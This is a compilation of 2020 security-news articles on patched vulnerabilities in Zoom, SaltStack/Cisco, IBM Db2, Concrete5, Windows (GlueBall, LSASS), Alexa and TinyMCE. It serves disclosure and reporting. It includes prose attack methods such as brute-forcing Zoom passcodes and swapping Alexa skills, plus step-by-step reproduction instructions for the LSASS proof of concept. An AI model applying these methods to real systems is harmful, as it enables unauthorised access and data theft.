Zoom meetings are by default protected by a six-digit numeric password, but according to Tom Anthony, VP Product at SearchPilot who identified the issue, the lack of rate limiting enabled "an attacker to attempt all 1 million passwords in a matter of minutes and gain access to other people's private (password protected) Zoom meetings."
It's worth noting that Zoom began requiring a passcode for all meetings back in April as a preventive measure to combat Zoom-bombing attacks, which refers to the act of disrupting and hijacking Zoom meetings uninvited to share obscene and racist content.
Anthony reported the security issue to the company on April 1, 2020, along with a Python-based proof-of-concept script, a week after Zoom patched the flaw on April 9.
The fact that meetings were, by default, secured by a six-digit code meant there could be only a maximum of one million passwords.
But in the absence of no checks for repeated incorrect password attempts, an attacker can leverage Zoom's web client (https://zoom.us/j/MEETING_ID) to continuously send HTTP requests to try all the one million combinations.
"With improved threading, and distributing across 4-5 cloud servers you could check the entire password space within a few minutes," Anthony said.
The attack worked with recurring meetings, implying that bad actors could have had access to the ongoing meetings once the passcode was cracked.
The researcher also found that the same procedure could be repeated even with scheduled meetings, which have the option to override the default passcode with a longer alphanumeric variant, and run it against a list of top 10 million passwords to brute-force a login.
Separately, an issue was uncovered during the sign-in process using the web client, which employed a temporary redirect to seek customers' consent to its terms of service and privacy policy.
"There was a CSRF HTTP header sent during this step, but if you omitted it then the request still seemed to just work fine anyway," Anthony said. "The failure on the CSRF token made it even easier to abuse than it would be otherwise, but fixing that wouldn't provide much protection against this attack."
Following the findings, Zoom took the web client offline to mitigate the issues on April 2 before issuing a fix a week later.
The video conferencing platform, which drew scrutiny for a number of security issues as its usage soared during the coronavirus pandemic, has quickly patched the flaws as they were uncovered, even going to the extent of announcing a 90-day freeze on releasing new features to "better identify, address, and fix issues proactively."
Just earlier this month, the company addressed a zero-day vulnerability in its Windows app that could allow an attacker to execute arbitrary code on a victim's computer running Windows 7 or older.
It also fixed a separate flaw that could have allowed attackers to mimic an organization and trick its employees or business partners into revealing personal or other confidential information via social engineering attacks.

Cisco Servers Hacked via Salt Vulnerabilities
29.5.2020  Securityweek  Vulnerebility
Cisco this week announced that it has patched two actively exploited Salt vulnerabilities, but not before malicious actors leveraged the flaws to hack some of the company’s servers.

Rated critical, the vulnerabilities, tracked as CVE-2020-11651 and CVE-2020-11652, were made public at the end of April, when SaltStack patches were released. The issue, however, only appears when unsecure settings are used.

The popular configuration tool uses a Salt Master to collect reports from agents called minions, and to deliver messages (configuration updates) to them. Typically, the Salt Master is not connected to the Internet, but roughly 6,000 instances were found exposed at the end of April.

The critical vulnerability that was found in Salt Master version 2019.2.3 and Salt 3000 versions 3000.1 and earlier could be abused by unauthenticated attackers to gain root-equivalent access to the Salt Master.

Within days after the patches arrived, the first attacks targeting the vulnerability were observed, with search provider Algolia and LineageOS, Ghost, and DigiCert servers quickly falling victims due to the lack of timely patching.

Now, Cisco reveals that salt-master servers that are used with Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE) were upgraded on May 7, and that, on the same day, they were found to have been compromised through the aforementioned vulnerabilities.

“Cisco identified that the Cisco maintained salt-master servers that are servicing Cisco VIRL-PE releases 1.2 and 1.3 were compromised. The servers were remediated on May 7, 2020,” the company announced in an advisory.

The hackers gained access to six servers, including us-1.virl.info, us-2.virl.info, us-3.virl.info, us-4.virl.info, vsm-us-1.virl.info, and vsm-us-2.virl.info, Cisco says.

“Cisco VIRL-PE connects back to Cisco maintained Salt Servers that are running the salt-master service. These servers are configured to communicate with a different Cisco salt-master server, depending on which release of Cisco VIRL-PE software is running. Administrators can check the configured Cisco salt-master server by navigating to VIRL Server > Salt Configuration and Status,” the company explains.

Cisco Modeling Labs Corporate Edition (CML), which is also impacted by the Salt vulnerabilities, does not connect to Cisco-maintained Salt Servers. The company explains that, for CML and VIRL-PE software releases 1.5 and 1.6, exploitability of enabled salt-master services depends on whether the salt-master service is reachable on TCP ports 4505 and 4506.

“For any installation that is found with salt-master service running Cisco would recommend either inspecting the machine for compromise or doing a re-image of the machine and installing the latest version of Cisco CML or Cisco VIRL-PE,” the company adds.

Cisco CML and Cisco VIRL-PE can be deployed in both standalone and cluster modes, and impact depends on the deployment type. Versions 2.0 of both CML and VIRL-PE are not affected, because they do not run the salt-master service.

For versions 1.6, there’s no impact when performing a fresh install, as the salt-master service is not running in standalone mode, or runs on a private network in cluster mode. When upgrading from version 1.5, however, the salt-master service is running.

For versions 1.5 and earlier, the salt-master service is running, and customers are advised to upgrade to a patched release.

Hackers Compromise Cisco Servers Via SaltStack Flaws

29.5.2020  Threatpost    Vulnerebility
Attackers compromised six Cisco VIRL-PE servers that are affected by critical SaltStack vulnerabilities.

Cisco said attackers have been able to compromise its servers after exploiting two known, critical SaltStack vulnerabilities. The flaws exist in the open-source Salt management framework, which are used in Cisco network-tooling products.

Two Cisco products incorporate a version of SaltStack that is running the vulnerable salt-master service. The first is Cisco Modeling Labs Corporate Edition (CML), which gives users a virtual sandbox environment to design and configure network topologies. The second is Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), used to design, configure and operate networks using versions of Cisco’s network operating systems.

Hackers were able to successfully exploit the flaws incorporated in the latter product, resulting in the compromise of six VIRL-PE backend servers, according to Cisco. Those servers are: us-1.virl.info, us-2.virl.info, us-3.virl.info, us-4.virl.info, vsm-us-1.virl.info and vsm-us-2.virl.info.

“Cisco infrastructure maintains the salt-master servers that are used with Cisco VIRL-PE,” according to Cisco’s Thursday alert. “Those servers were upgraded on May 7, 2020. Cisco identified that the Cisco maintained salt-master servers that are servicing Cisco VIRL-PE releases 1.2 and 1.3 were compromised.”

Cisco said the servers were remediated on May 7. The company also released software updates for the two vulnerable products. Cisco said that the update is “critical,” ranking it 10 out of 10 on the CVSS scale.

The SaltStack bugs were first made public by the Salt Open Core team on April 29. The flaws can allow full remote code execution as root on servers in data centers and cloud environments. They include an authentication bypass issue, tracked as CVE-2020-11651, and a directory-traversal flaw, CVE-2020-11652, where untrusted inputs (i.e. parameters in network requests) are not sanitized correctly. This in turn allows access to the entire file system of the master server, researchers found.

SaltStack released patches for the flaw in release 3000.2, on April 30 – however, researchers with F-Secure, who discovered the flaw, said a preliminary scan revealed more than 6,000 potentially vulnerable Salt instances exposed to the public internet — and warned that exploits in the wild are imminent.

Those predictions have proved true: In the beginning of May, for instance, hackers targeted the publishing platform Ghost by exploiting critical vulnerabilities in SaltStack, used in Ghost’s server management infrastructure to launch a cryptojacking attack against its servers that led to widespread outages.

Cisco said that for Cisco CML and Cisco VIRL-PE (software releases 1.5 and 1.6) if the salt-master service is enabled “the exploitability of the product depends on how the product has been deployed.” A full list of the impact and recommended action for each deployment option, for each Cisco software release, can be found on Cisco’s alert.

To be exploited, the salt-master service must be reachable on TCP ports 4505 and 4506, Cisco said. The company added that administrators can check their configured Cisco salt-master server by navigating to VIRL Server > Salt Configuration and Status.

“Cisco continues to strongly recommend that customers upgrade to a fixed software release to remediate these vulnerabilities,” Cisco said.

Google Adds GKE Open-Source Dependencies to Vulnerability Rewards Program
29.5.2020  Securityweek  Vulnerebility
Google this week announced an expansion for its Vulnerability Rewards Program (VRP) to include critical open-source dependencies of Google Kubernetes Engine (GKE).

The announcement builds on the bug bounty program for Kubernetes that the Cloud Native Computing Foundation (CNCF), in partnership with Google and others, announced earlier this year, and which offers rewards of up to $10,000 for vulnerabilities in the project.

With this expansion, Google’s VRP will cover privilege escalation bugs in a hardened GKE lab cluster that was specifically set up for this purpose.

“This will cover exploitable vulnerabilities in all dependencies that can lead to a node compromise, such as privilege escalation bugs in the Linux kernel, as well as in the underlying hardware or other components of our infrastructure that could allow for privilege escalation inside a GKE cluster,” the company says.

Google is now inviting bug hunters to find vulnerabilities in a lab environment that was set up on GKE based on kCTF, an open-source Kubernetes-based Capture-the-Flag (CTF) project.

Participants are required to break out of a containerized environment running on a Kubernetes pod and read one of two secret flags (one on the same pod, the other in another pod, in a different namespace).

Participants are required to present these flags as proof of successful exploitation, as the lab environment does not store data. The flags will change often, Google says.

The Internet giant is willing to pay up to $10,000 for bugs that affect the lab GKE environment and can lead to stealing both flags (each report will be reviewed on a case-by-case basis). Participants are allowed to submit vulnerabilities identified in Linux, Kubernetes, kCTF, Google, or any other dependency.

Security flaws that only impact Google code qualify for an additional VRP reward, while those impacting only Kubernetes code qualify for an additional CNCF Kubernetes reward.

“Any vulnerabilities found outside of GKE (like Kubernetes or the Linux kernel) should be reported to the corresponding upstream project security teams. To make this program expansion as efficient as possible for the maintainers, we will only reward vulnerabilities shown to be exploitable by stealing a flag,” Google explains.

The open-sourced kCTF environment is new and Google is looking to receive feedback on it before actively using it in CTF competitions.

“By including the CTF infrastructure in the scope of the Google VRP, we want to incentivise the community to help us secure not just the CTF competitions that will use it, but also GKE and the broader Kubernetes ecosystems,” Google notes.

Despite lower number of vulnerability disclosures, security teams have their work cut out for them

29.5.2020  Net-Security  Vulnerebility

The number of vulnerabilities disclosed in Q1 2020 has decreased by 19.8% compared to Q1 2019, making this likely the only true dip observed within the last 10 years, Risk Based Security reveals.

Vulnerabilities of interest disclosed in Q1 2020
Vulnerabilities disclosed in Q1 2020: What happened?

Many factors have been identified as potential contributors to this decline, including the COVID-19 pandemic, though its precise impact may not be known for another year.

“Although the pandemic has already brought unprecedented changes to all walks of life, it is difficult to predict precisely how it will impact vulnerability disclosures this year,” commented Brian Martin, Vice President of Vulnerability Intelligence at Risk Based Security.

“It is possible, as we’ve seen with data breaches, that some researchers and companies may be slower to disclose vulnerabilities. Between drastic changes in work environments and a global pandemic, vulnerability disclosure totals may be directly impacted.”
Many vulnerabilities lacking detail in CVE

Despite the lower total number of vulnerability disclosures in Q1, security teams have their work cut out for them. 561 vulnerabilities have been identified that have a public exploit, yet do not have any detail in CVE.

Worse, 60.2% of those vulnerabilities are remotely exploitable. This is problematic for many organizations that rely on security tools that are based on CVE data and have little in the way of detection and mitigation.

Top ten products by vulnerability disclosures in Q1 2020, as compared to 2019

“Those vulnerabilities include issues such as remote authentication bypass, stored XSS, SQL injection, information disclosure, denial of service, and more,” Mr. Martin concluded.

“Some of these vulnerabilities are present in software from Symantec, Apple, Atlassian, ManageEngine, Nextcloud, Jetbrains, and IBM to name a few. That should give pause to anyone who has to come up with a mitigation strategy where patching ‘in the right order’ becomes a key strategy.”

Flashback on CVE-2019-19781

28.5.2020  SANS  Vulnerebility

First of all, did you know that the Flame[1] malware turned 8 years today! Happy Birthday! This famous malware discovered was announced on May 28th, 2012. The malware was used for targeted cyber espionage activities in the Middle East area. If this malware was probably developed by a nation-state organization. It infected a limited amount of hosts (~1000 computers[3]) making it a targeted attack.

At the opposite, we see very broad attacks that try to abuse vulnerabilities present in very common products. Almost every day, new CVEs ("Common Vulnerability Exposure") are released or updated. Yesterday, I indexed 141 new CVEs:

In a perfect world, a CVE is followed by a patch released by the vendor or the developer, followed by the deployment of this patch by the end-user. Case closed! But, it’s not always as simple, for multiple reasons. Recently, an interesting article was released about the top-10 most exploited vulnerabilities[3]. It’s interesting to discover how very old vulnerabilities are still exploited in the wild, by example: CVE-2017-11882 (from 2017!)

Amongst others, let’s have a look at CVE-2019-19781 also know as “Shitrix”[4]. We searched for the population of ‘Citrix NetScaler’ hosts in SHODAN, then we search for the ones tagged with the CVE. Results are interesting (starting from the beginning of the year).

In blue, you see the number of devices identified as vulnerable. The green data represent the entire population of Citrix devices seen online. Let's focus on the two first months:

We see that SHODAN is scanning the web and found more and more vulnerable devices, then organizations started to patch then but we remain for a while to a stable amount of devices (around ~4000 detected daily). But we see also a decrease in detected NetScaler devices. How to interpret this?

Some organizations got rid of their Citrix device and replaced it with another solution? (it could happen)
Devices were hardened and do not disclose the version/model (footprint not possible)
Devices facing the Internet are now protected by filters/firewalls
SHODAN IP addresses are blacklisted (which is bad and does NOT secure your infrastructure)

Anyway, the best advice remains patch, patch, and patch again!

[1] https://isc.sans.edu/forums/diary/Why+Flame+is+Lame/13342
[2] https://www.wired.com/2012/05/flame/
[3] https://nakedsecurity.sophos.com/2020/05/15/top-10-most-exploited-vulnerabilities-list-released-by-fbi-dhs-cisa/
[4] https://krebsonsecurity.com/2020/02/hackers-were-inside-citrix-for-five-months/#more-50556

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

New fuzzing tool for USB drivers uncovers bugs in Linux, macOS, Windows

28.5.2020  Net-Security  Vulnerebility

With a new fuzzing tool created specifically for testing the security of USB drivers, researchers have discovered more than two dozen vulnerabilities in a variety of operating systems.

“USBFuzz discovered a total of 26 new bugs, including 16 memory bugs of high security impact in various Linux subsystems (USB core, USB sound, and network), one bug in FreeBSD, three in macOS (two resulting in an unplanned reboot and one freezing the system), and four in Windows 8 and Windows 10 (resulting in Blue Screens of Death), and one bug in the Linux USB host controller driver and another one in a USB camera driver,” Hui Peng and Mathias Payer explained.

11 of the Linux bugs have already received a patch.
Making fuzzing USB drivers easier

USBFuzz, which Peng and Payer plan to open source on GitHub in the near future, is a modular testing framework that can be used for fuzzing USB drivers in different OS kernels.

Fuzzing (or fuzz testing) involves the automated inputing of invalid, unexpected, or random data into software (in this case drivers), looking how the program behaves – whether it crashes, shows memory leaks, etc. – and checking whether these behaviors can be exploited for malicious ends.

“Fuzzing device drivers is challenging due to the difficulty in providing random input from a device. Dedicated programmable hardware devices are expensive and do not scale as one device can only be used to fuzz one target. More importantly, it is challenging to automate fuzzing on real hardware due to the required physical actions (attaching and detaching the device) for each test,” the researchers explained the motivation for creating USB-Fuzz.

They wanted to make the fuzing device cost-effective, hardware-independent and able to work on different OSes and platforms.

“At its core, USB-Fuzz uses a software-emulated USB device to provide random device data to drivers (when they perform IO operations). As the emulated USB device works at the device level, porting it to other platforms is straight-forward.”

USB-Fuzz works on Linux, FreeBSD, macOS, and Windows, and can be used to perform dumb fuzzing, focused fuzzing, and coverage-guided fuzzing (where coverage collection is supported).

Vulnerability in IBM Db2 Leads to Information Disclosure, Denial of Service

20.8.20  Vulnerebility  Securityweek

A shared memory vulnerability that IBM addressed in its Db2 data management products could allow malicious local users to access sensitive data.

Trustwave, which identified the vulnerability and reported it to IBM, says that the issue exists because the developers forgot to include explicit memory protections for the shared memory that the Db2 trace facility uses.

A malicious local user could gain read and write access to that memory area, allowing them to access critically sensitive data or to modify the functionality of the trace subsystem, thus leading to a denial of service condition in the database.

An unprivileged local user can abuse the vulnerability to write incorrect data over the affected memory section, thus causing denial of service, Trustwave explains in a blog post shared with SecurityWeek.

The vulnerability, which is tracked as CVE-2020-4414, was found to affect IBM Db2 for Linux, UNIX and Windows (including Db2 Connect Server), versions 9.7, 10.1, 10.5, 11.1, and 11.5.

IBM, which released a patch for the bug on June 30, explains that an attacker could send specially crafted requests to exploit the flaw.

According to Martin Rakhmanov, security research manager at Trustwave, organizations should consider applying patches as soon as possible, given that five IBM Db2 editions across all platforms are impacted.

“Although fixable through a patch, the vulnerability could have wider security implications on organizations. For example, a low-privileged processes running on the same computer as the Db2 database, can alter Db2 trace and capture sensitive data and then use that data for subsequent attacks further down the line,” Rakhmanov said in an emailed comment.

“While it may be hard to tell if this has already been exploited by some malicious actors, our recommendation for all businesses is to ensure immediately that they have the latest database version installed and apply any patches that may have been missed,” he continued.

Earlier this year, Rakhmanov identified a shared memory vulnerability (CVE-2020-3347) in the Cisco Webex Meetings desktop app for Windows, but says that this type of security bugs might not be as widespread.

“Through recent research we’ve seen the emergence of shared memory vulnerabilities becoming a more common issue,” Rakhmanov said. “Some database products have this particular issue but I’d not say this is something 'growing' [industry-wide].”

Experts Reported Security Bug in IBM's Db2 Data Management Software

20.8.20  Vulnerebility  Thehackernews
Cybersecurity researchers today disclosed details of a memory vulnerability in IBM's Db2 family of data management products that could potentially allow a local attacker to access sensitive data and even cause a denial of service attacks.
The flaw (CVE-2020-4414), which impacts IBM Db2 V9.7, V10.1, V10.5, V11.1, and V11.5 editions on all platforms, is caused by improper usage shared memory, thereby granting a bad actor to perform unauthorized actions on the system.
By sending a specially crafted request, an attacker could exploit this vulnerability to obtain sensitive information or cause a denial of service, according to Trustwave SpiderLabs security and research team, which discovered the issue.
"Developers forgot to put explicit memory protections around the shared memory used by the Db2 trace facility," SpiderLabs's Martin Rakhmanov said. "This allows any local users read and write access to that memory area. In turn, this allows accessing critically sensitive data as well as the ability to change how the trace subsystem functions, resulting in a denial of service condition in the database."
IBM released a patch on June 30 to remediate the vulnerability.

CVE-2020-4414 is caused by the unsafe usage of shared memory the Db2 trace utility employs to exchange information with the underlying OS on the system.
The Db2 trace utility is used to record Db2 data and events, including reporting Db2 system information, collecting data required for performance analysis and tuning, and capture data access audit trail for security purposes.
Given that the shared memory stores sensitive information, an attacker with access to the system could create a malicious application to overwrite the memory with rogue data dedicated to tracing data.
"This means that an unprivileged local user can abuse this to cause a denial of service condition simply by writing incorrect data over that memory section," Rakhmanov said.
Even more concerning, a low-privileged process running on the same computer as the Db2 database could alter Db2 trace and capture sensitive data and use the information to carry out other attacks.
If the flaw sounds familiar, that's because it's the same type of memory leakage vulnerability that impacted Cisco's WebEx video conferencing service (CVE-2020-3347) that could local authenticated attackers to get hold of usernames, authentication tokens, and meeting information.
It's recommended that Db2 users update their software to the latest version to mitigate the risk.

Vulnerability Allowing Full Server Takeover Found in Concrete5 CMS

19.8.20  Vulnerebility  Securityweek
A remote code execution (RCE) vulnerability addressed recently in Concrete5 exposed numerous websites to attacks, Edgescan reports.

A point and click, open-source content management system, Concrete5 allows users create websites at ease and is used by many high-profile entities worldwide, including BASF, GlobalSign, REC, the U.S. Army, and more.

The CMS has been designed with ease-of-use in mind, and allows users to edit content directly from the page, without requiring advanced technical skills.

What Edgescan discovered was an RCE flaw in Concrete5 that could have allowed an attacker to inject a reverse shell into vulnerable web servers, thus taking full control of them.

The issue was identified in Concrete5 version 8.5.2, which essentially allowed an attacker to modify site configuration and upload a PHP file onto the server, thus gaining arbitrary command execution capabilities.

Although PHP, HTML and other dangerous file extensions are not typically allowed, the issue could have been exploited “to include PHP extension in the legal file list and then upload the file,” Edgescan says.

To mount an attack, an adversary would need administrative permissions to access the 'Allow File types' feature and include the PHP file type in the list of allowed extensions.

Once that has been achieved, however, the attacker can upload potentially malicious code onto the server and then execute arbitrary commands. Information on how to reproduce the attack has been disclosed on HackerOne.

By exploiting the vulnerability, Edgescan says, an attacker “would be able to take full control over the web server (system). By executing arbitrary commands on the server, an attacker could compromise the integrity, availability and confidentiality. And pivot onto other servers on the internal network.”

The issue was reported via the HackerOne platform in early January 2020, but a fix wasn’t released for six months. Users running the latest stable release (Concrete5 version 8.5.4) are protected from the vulnerability.

“Crucially important to keep your installed scripts and CMS platforms up to date. Create a regular schedule to update or patch your CMS, and all installed plugins and themes. Ensure all components are up-to-date,” Edgescan points out.

Actively Exploited Windows Spoofing Flaw Patched Two Years After Disclosure

18.8.20  Exploit  Vulnerebility  Securityaffairs

The actively exploited Windows spoofing vulnerability patched last week by Microsoft has been known for more than two years, researchers pointed out.

Microsoft’s August 2020 Patch Tuesday updates addressed 120 vulnerabilities, including an Internet Explorer zero-day that has been chained with a Windows flaw in attacks linked to the threat actor named DarkHotel, and a Windows spoofing issue tracked as CVE-2020-1464.

The tech giant describes CVE-2020-1464 as a spoofing flaw related to Windows incorrectly validating file signatures. An attacker can exploit the vulnerability to bypass security features and load improperly signed files, Microsoft says in its advisory.

Researchers analyzed CVE-2020-1464 after Microsoft released its patch and noticed that it’s likely a vulnerability that has been known for years and which Microsoft has been refusing to fix.

In a blog post published over the weekend, researcher Tal Be'ery explained that the vulnerability, which has been named GlueBall, has been known since August 2018, when a file sample exploiting it was uploaded to VirusTotal.

Microsoft was informed about the issue at the time and details were disclosed on the VirusTotal blog in January 2019, but the vendor decided not to fix it.

“Microsoft Windows keeps the Authenticode signature valid after appending any content to the end of Windows Installer (.MSI) files signed by any software developer. This behaviour can be exploited by attackers to bypass some security solutions that rely on Microsoft Windows code signing to decide if files are trusted. The scenario is especially dangerous when the appended code is a malicious JAR because the resulting file has a valid signature according to Microsoft Windows and the malware can be directly executed by Java,” Bernardo Quintero, founder of VirusTotal, explained in the January 2019 blog post.

Shortly after the blog post was published, several others analyzed the issue and made their findings public. In June 2020, researchers noticed that someone had been exploiting GlueBall to deliver malware, and in August it was finally patched by Microsoft.

“[The] way Microsoft had handled the vulnerability report seems rather strange,” Be’ery noted. “It was very clear to everyone involved, Microsoft included, that GlueBall is indeed a valid vulnerability exploited in the wild. Therefore, it is not clear why it was only patched now and not two years ago.”

SecurityWeek has reached out to Microsoft, but the company has not provided any clarifications regarding its decision not to patch CVE-2020-1464 sooner.

“A security update was released in August. Customers who apply the update, or have automatic updates enabled, will be protected. We continue to encourage customers to turn on automatic updates to help ensure they are protected,” said a Microsoft spokesperson.

Amazon Alexa Vulnerabilities Could Have Exposed User Data

15.8.20  Vulnerebility  Securityweek

Check Point security researchers have identified a series of vulnerabilities that potentially opened the gate for a variety of attacks targeting Alexa, Amazon’s virtual assistant.

The attacks involved a Cross-Origin Resource Sharing (CORS) misconfiguration and Cross Site Scripting (XSS) bugs identified on Amazon and Alexa subdomains, which eventually allowed the researchers to perform various actions on behalf of legitimate users.

Successful exploitation of these vulnerabilities could allow an attacker to retrieve the personal information of an Alexa user, as well as their voice history with their Alexa, but also to install applications (skills) on the user’s behalf, list installed skills, or remove them.

“Successful exploitation would have required just one click on an Amazon link that has been specially crafted by the attacker,” Check Point’s security researchers, who published a video demonstrating the flaws, explain.

To carry out an attack, an adversary would need to create a malicious link that directs the user to amazon.com, send it to the victim, and trick them into clicking it. The attacker would need code-injection capability on the destination page.

Next, the attacker sends an Ajax request with the user’s cookies to amazon.com/app/secure/your-skills-page, which allows them to retrieve a list of skills installed on the victim’s Alexa account.

The response, Check Point says, also contains the CSRF token, which the attacker can use to remove one common skill from the list. Then, the attacker can use the same invocation phrase to install a skill, which results in the user triggering the attacker skill instead of the original one.

The security researchers note that, while Amazon does not record banking login credentials, the attacker can access users’ interaction with the banking skill and grab their data history. Moreover, usernames and phone numbers can also be retrieved, based on the installed skills.

Amazon was alerted on the discovered vulnerabilities in June 2020 and has already addressed them. The company has security mechanisms in place to prevent malicious skills from being published to its store.

"The security of our devices is a top priority, and we appreciate the work of independent researchers like Check Point who bring potential issues to us. We fixed this issue soon after it was brought to our attention, and we continue to further strengthen our systems. We are not aware of any cases of this vulnerability being used against our customers or of any customer information being exposed, " an Amazon spokesperson told SecurityWeek in an emailed comment.

Check Point concluded, “Virtual assistants are used in Smart Homes to control everyday IoT devices […]. They grew in popularity in the past decade to play a role in our daily lives, and it seems as technology evolves, they will become more pervasive. This makes virtual assistants an attractive target for attackers looking to steal private and sensitive information, or to disrupt an individual’s smart home environment.”

This attack, which relies on social engineering to trick the victim into accessing a link, can be avoided through security training, Javvad Malik, Security Awareness Advocate, KnowBe4, pointed out.

“From a technological perspective, as the connected ecosystem of devices grows, it becomes increasingly important for manufacturers to ensure all code and access is assessed not just for technical security flaws, but also where processes can be bypassed by criminals to reveal sensitive information, corrupt data, or make them unavailable,” Malik said.

“Security in IoT devices such as the Amazon Echo and associated Alexa voice assistant service is an important issue,” Matt Aldridge, Principal Solutions Architect, Webroot, said in an emailed comment.

“The growing demand for these devices requires that manufacturers focus on their security and privacy. IoT manufacturers need to work more closely with cybersecurity professionals to ensure that device security is considered and understood at the design stage – not implemented as an afterthought,” Aldridge added.

Microsoft failed to fix LSASS elevation of privilege flaw

14.8.20  Vulnerebility  Securityaffairs

Microsoft did not properly address an elevation of privilege flaw (CVE-2020-1509) in the Windows Local Security Authority Subsystem Service (LSASS).
Google Project Zero researcher who discovered the elevation of privilege flaw (CVE-2020-1509) in the Windows Local Security Authority Subsystem Service (LSASS) warn that Microsoft did not properly address it.
“An elevation of privilege vulnerability exists in the Local Security Authority Subsystem Service (LSASS) when an authenticated attacker sends a specially crafted authentication request. A remote attacker who successfully exploited this vulnerability could cause an elevation of privilege on the target system’s LSASS service.” reads the Microsoft’s advisory.

“The security update addresses the vulnerability by changing the way that LSASS handles specially crafted authentication requests.”

An attacker, who has obtained Windows credentials for the local network, could trigger the flaw by sending specially crafted authentication requests.

“LSASS doesn’t correctly enforce the Enterprise Authentication Capability which allows any AppContainer to perform network authentication with the user’s credentials,” Project Zero security researcher James Forshaw explained in a post published in May.

The Google researcher discovered that the issue is related to the original legacy AppContainer capabilities that grants access to Enterprise Authentication

At the time, the researcher explained that the issue is related to a legacy AppContainer capability providing access to the Security Support Provider, and consequently to the SSPI functions. The SSPI interface makes it simple to install line of business (LOB) applications within enterprise environments.

When the target specified in the call is a proxy the authentication should be allowed, anyway Forshaw discovered that the authentication would be allowed even if the network name doesn’t match a registered proxy.

“If the target is a proxy then the authentication process is allowed, even if the Enterprise Auth Cap is not specified. The issue is, even if LsapIsTargetProxy returns false the authentication is still allowed to proceed but an additional flag is set to indicate this state. I couldn’t find any code which checked this flag, although it’s a bit unclear as it comes from a TLS block so tracking down usage is awkward.” continues the expert.
“What this means is that an AppContainer can perform Network Authentication as long as it specifies a valid target name to InitializeSecurityContext, it doesn’t matter if the network address is a registered proxy or not.”

An attacker could exploit the issue to authenticate to resources exposed on the network without restrictions, bypassing SPN checking and SMB signing.

Upon exploiting the flaw, the attacker could also access to the localhost services, albeit with some limitations.

Forshaw also published proof-of-concept (POC) code to achieve elevated privileges through Enterprise Authentication bypass, it will connect to the local SMB server and list the network shares which shouldn’t be something the AC can do.

Microsoft addressed the vulnerability with the release of August 2020 Patch Tuesday, but a few hours late Forshaw discovered that the updates failed to fix the issue.

One day after the fix was released, however, Forshaw revealed that the patch failed to correctly address the vulnerability.

According to Forshaw, the POC he released is still working in case the attacker has added a proxy server in the settings, he also pointed out that the code should be executed with specific arguments.

“After review it seems that this hasn’t been completely fixed. In line with our policy outlined at https://googleprojectzero.blogspot.com/2020/01/policy-and-disclosure-2020-edition.html any incomplete fix is added to the issue tracker as additional information and is not granted an additional time to fix.” reads the update published by the researcher.

“To verify with the original PoC.

1) Run the CheckNetIsolation.exe command as admin to add Calculator to loopback exemption.
2) Add a proxy server manually in the settings. For example set a manual proxy to 192.168.0.10 port 1234.
3) Run the PoC specifying the arguments 127.0.0.1 CIFS/localhost/192.168.0.10.

This will connect to the local SMB server and print the shares. This will work even if SPN verification is enabled as the SMB server ignores the Service Name component of the SPN.”

Potentially Serious Vulnerability Found in Popular WYSIWYG Editor TinyMCE

13.8.20  Vulnerebility  Securityweek

A potentially serious cross-site scripting (XSS) vulnerability affecting the TinyMCE rich text editor can be exploited — depending on the implementation — for privilege escalation, obtaining information, or account takeover.

Developed by Tiny Technologies, TinyMCE is advertised as the most advanced WYSIWYG HTML editor designed to simplify website content creation. According to Tiny, the editor has been downloaded 350 million times per year and it’s included in more than 100 million websites. TinyMCE is available for free as open source, but Tiny also provides paid plans that include premium plugins, support and deployment services.

Researchers at Bishop Fox discovered in April that TinyMCE is affected by an XSS vulnerability whose impact depends on the application using the editor. The issue, tracked as CVE-2020-12648, impacts version 5.2.1 and earlier, and it was patched in July with the release of versions 4.9.11 and 5.4.1.

Successful exploitation can allow an attacker to escalate privileges, obtain information, and even hijack the targeted user’s account.

“Depending on the site in which tinyMCE is used, an attacker could exploit this as either stored or reflected (using a crafted link) XSS. I have seen both cases,” George Seketee, senior security consultant at Bishop Fox and one of the people credited for finding the flaw, told SecurityWeek.

He explained, “The exact details of exploitation vary with implementation, but generally an attacker needs to get tinyMCE to interpret the crafted string. This could be on initial page load, or by using some other portion of the site's functionality. At a low level, if tinyMCE's setContent() or insertContent() functions were called with a crafted payload, the XSS would trigger. TinyMCE indicated that the vulnerability was in their ‘core parser’, which may indicate there were other ways to trigger this vulnerability.”

Chris Davis, a Bishop Fox security consultant who has also been credited for reporting the vulnerability, added, “Due to the nature of XSS this will commonly result in privilege escalation and can be used to force arbitrary actions on a user's behalf unbeknownst to the user."

Dylan Just, information security lead at Tiny, said that in addition to patching the flaw in TinyMCE versions 5.4.1 and 4.9.11, they have identified workarounds, which are described in the company’s own advisory.

“We encourage all users to upgrade to TinyMCE 5.4.1, as TinyMCE 4 will reach end-of-life in December 2020. Customers using the "/5" channel of our cloud-hosted TinyMCE will receive the update automatically,” Just told SecurityWeek.

“TinyMCE is a web-based rich text editor, and the issue relates to content not being correctly sanitized before being loaded into the editor. We have released fixes for TinyMCE 4 and 5, but we recommend that all users upgrade to the latest TinyMCE 5. Further to this, we recommend that users sanitize content server-side, and add a suitable Content Security Policy to their websites,” he explained.

Just says security is “extremely important” to the company and it has advised anyone who has discovered a vulnerability to report it via email at infosec(at)tiny.cloud.

Microsoft's Patch for LSASS Flaw Incomplete, Google Researcher Says
13.8.20  Vulnerebility  Securityweek

Microsoft failed to properly address an elevation of privilege vulnerability in the Windows Local Security Authority Subsystem Service (LSASS), the Google Project Zero researcher who discovered the issue says.

Tracked as CVE-2020-1509, the vulnerability can be triggered through specially crafted authentication requests. For successful exploitation, an attacker needs previously obtained Windows credentials for the local network.

“LSASS doesn’t correctly enforce the Enterprise Authentication Capability which allows any AppContainer to perform network authentication with the user's credentials,” Project Zero security researcher James Forshaw noted in May.

At the time, the researcher explained that the issue is related to a legacy AppContainer capability providing access to the Security Support Provider Interface (SSPI), likely meant to facilitate the installation of line of business (LOB) applications within enterprise environments.

Authentication should be allowed only if the target specified in the call is a proxy, but Forshaw discovered that the authentication would be allowed even if the network name doesn’t match a registered proxy.

“What this means is that an AppContainer can perform Network Authentication as long as it specifies a valid target name to InitializeSecurityContext, it doesn’t matter if the network address is a registered proxy or not,” the researcher explains.

This means that an attacker could authenticate to network-facing resources without restrictions, rendering protections such as SPN checking and SMB signing useless. By exploiting the flaw, an attacker could access localhost services as well, albeit with some caveats.

Forshaw also published proof-of-concept (POC) code to demonstrate how an application can achieve elevated privileges through Enterprise Authentication bypass. The code seeks to list SMB shares, although it should not be allowed to.

